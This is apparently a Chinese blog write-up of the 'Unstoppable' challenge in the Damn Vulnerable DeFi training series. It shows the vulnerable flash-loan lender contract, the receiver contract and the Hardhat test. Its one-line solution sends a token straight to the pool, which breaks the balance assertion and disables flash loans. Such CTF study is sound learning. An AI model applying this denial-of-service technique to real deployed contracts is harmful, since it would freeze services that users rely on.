moon

moon

Build for builders on blockchain
github
twitter

Defi黑客系列:Damn Vulnerable DeFi (一) - Unstoppable

Damn Vulnerable DeFi 是一个 Defi 智能合约攻击挑战系列。内容包括了闪电贷攻击、借贷池、链上预言机等。在开始之前你需要具备 Solidity 以及 JavaScipt 相关的技能。针对每一题你需要做的就是保证该题的单元测试能够通过。

先执行下面的命令

# 克隆仓库
git clone https://github.com/tinchoabbate/damn-vulnerable-defi.git
# 切换分支
git checkout v2.2.0
# 安装依赖
yarn

在 test 文件中的 *.challenge.js 编写你的解决方案,之后运行 yarn run [挑战名], 没有报错则通过。

首先开始第一题 Unstoppable

题目描述:

有一个余额为 100 万个 DVT 代币的借贷池子,免费提供了闪电贷的功能。需要有一种方法能够攻击该借贷池,并阻止该借贷池的功能。

该题的智能合约共有两个文件

UnstoppableLender.sol 借贷池合约

contract UnstoppableLender is ReentrancyGuard {
    IERC20 public immutable damnValuableToken; // DVT token实例
    uint256 public poolBalance; // 当前合约中的 DVT 余额

    constructor(address tokenAddress) {
        require(tokenAddress != address(0), "Token address cannot be zero");
        // 由 DVT token 地址创建合约实例
        damnValuableToken = IERC20(tokenAddress);
    }

    // 存入 token 到该合约中
    function depositTokens(uint256 amount) external nonReentrant {
        require(amount > 0, "Must deposit at least one token");
        // 调用 DVT token 智能合约中的 transferFrom 方法
        // 从合约调用者的DVT余额中转 amont 数量到该合约中
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        // 增加余额
        poolBalance = poolBalance + amount;
    }
    
    // 提供的闪电贷方法
    function flashLoan(uint256 borrowAmount) external nonReentrant {
        require(borrowAmount > 0, "Must borrow at least one token");

        // 获取该合约中 token 余额
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        // 确保余额大于借出的数量
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // 确保记录的余额等于真实的余额
        assert(poolBalance == balanceBefore);

        // 将 token 从合约中转出到合约调用者
        damnValuableToken.transfer(msg.sender, borrowAmount);

        // 执行合约调用者的 receiveTokens 方法
        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

        // 确保已返还 token
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

ReceiverUnstoppable.sol 执行闪电贷的合约

import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract ReceiverUnstoppable {
    UnstoppableLender private immutable pool; // 借贷池实例
    address private immutable owner;

    constructor(address poolAddress) {
        pool = UnstoppableLender(poolAddress);
        owner = msg.sender;
    }

    // Pool will call this function during the flash loan
    function receiveTokens(address tokenAddress, uint256 amount) external {
        // 确保该方法的调用者是 pool 地址
        require(msg.sender == address(pool), "Sender must be pool");
        // 返还 token 到 msg.sender
        require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
    }

    // 执行闪电贷
    function executeFlashLoan(uint256 amount) external {
        require(msg.sender == owner, "Only owner can execute flash loan");
        pool.flashLoan(amount);
    }
}

智能合约很简单,有个借贷池的合约,我们可以往其中存入 token, 并且提供了闪电贷的功能。还有个执行闪电贷功能的合约,其可以调用借贷池合约的 flashLoan 方法借出 token,并在其回调的方法中返还借出的 token。

为了完成使借贷池功能失效,需要在 test/unstoppable/unstoppable.challenge.js 文件中编写你的攻击代码。

const { ethers } = require('hardhat')
const { expect } = require('chai')

describe('[Challenge] Unstoppable', function () {
  let deployer, attacker, someUser

  // Pool has 1M * 10**18 tokens
  const TOKENS_IN_POOL = ethers.utils.parseEther('1000000')
  const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100')

  before(async function () {
    /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
		
    // 生成三个账号
    [deployer, attacker, someUser] = await ethers.getSigners()
    
    // 获取token合约和借贷池合约
    // token 合约位于 contracts/DamnValuableToken.sol,构造函数中给 deployer type(uint256).max 个token
    const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer)
    const UnstoppableLenderFactory = await ethers.getContractFactory('UnstoppableLender', deployer)
    
    // 本地节点中发布 token 合约 和 借贷池合约
    this.token = await DamnValuableTokenFactory.deploy()
    this.pool = await UnstoppableLenderFactory.deploy(this.token.address)
    
    // deployer 授权给借贷池合约可以操作其账户的 TOKENS_IN_POOL 数量的token
    await this.token.approve(this.pool.address, TOKENS_IN_POOL)
    // 将 deployer 的 TOKENS_IN_POOL 数量的 token 转入到借贷池
    await this.pool.depositTokens(TOKENS_IN_POOL)
    
    // 将 deployer 的 INITIAL_ATTACKER_TOKEN_BALANCE 数量的 token 转入到 attacker 地址
    await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE)
    
    // 断言:确保借贷池中 token 转入成功
    expect(
      await this.token.balanceOf(this.pool.address)
    ).to.equal(TOKENS_IN_POOL)
    
    // 断言:确保 attacker 地址中 token 转入成功
    expect(
      await this.token.balanceOf(attacker.address)
    ).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE)

    // 获取执行闪电贷的合约
    const ReceiverContractFactory = await ethers.getContractFactory('ReceiverUnstoppable', someUser)
    // 发布合约
    this.receiverContract = await ReceiverContractFactory.deploy(this.pool.address)
    // someUser 执行合约的 executeFlashLoan 方法,借出10个 token 并返还
    await this.receiverContract.executeFlashLoan(10)
  })

  it('Exploit', async function () {
    /** CODE YOUR EXPLOIT HERE */
    // 从 attacker 的账户转 1 个token到借贷池中
    // 该代码可完成攻击
    await this.token.connect(attacker).transfer(this.pool.address, 1)
  })

  after(async function () {
    /** SUCCESS CONDITIONS */

    // It is no longer possible to execute flash loans
    await expect(
      this.receiverContract.executeFlashLoan(10)
    ).to.be.reverted
  })
})

该测试脚本主要做了几件事

  • 从 deployer 转入 1000000 个 token 到借贷池中
  • 从 deployer 转入 100 个 token 到 attacker 地址中
  • someUser 执行闪电贷借出了 10 个 token 并归还
  • 从 attacker 转入 1 个 token 到借贷池中
  • 再次执行闪电贷会报错

为什么执行下面的代码会使用闪电贷功能失效呢

await this.token.connect(attacker).transfer(this.pool.address, 1)

原因在于借贷池合约的 flashloan 方法中的assert(poolBalance == balanceBefore); 期望 poolBalance 的值等于真实余额。 当调用 depositTokens 存入 token 时,poolBalance 变量能够正确的计算。但当我们手动转入 token 时,poolBalance 变量并没有如期的进行相加。而此时借贷池合约中的 token 真实余额是大于 poolBalance 的,所以会使闪电贷功能失效。

最后执行 yarn unstoppable , 测试通过!

完整代码

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。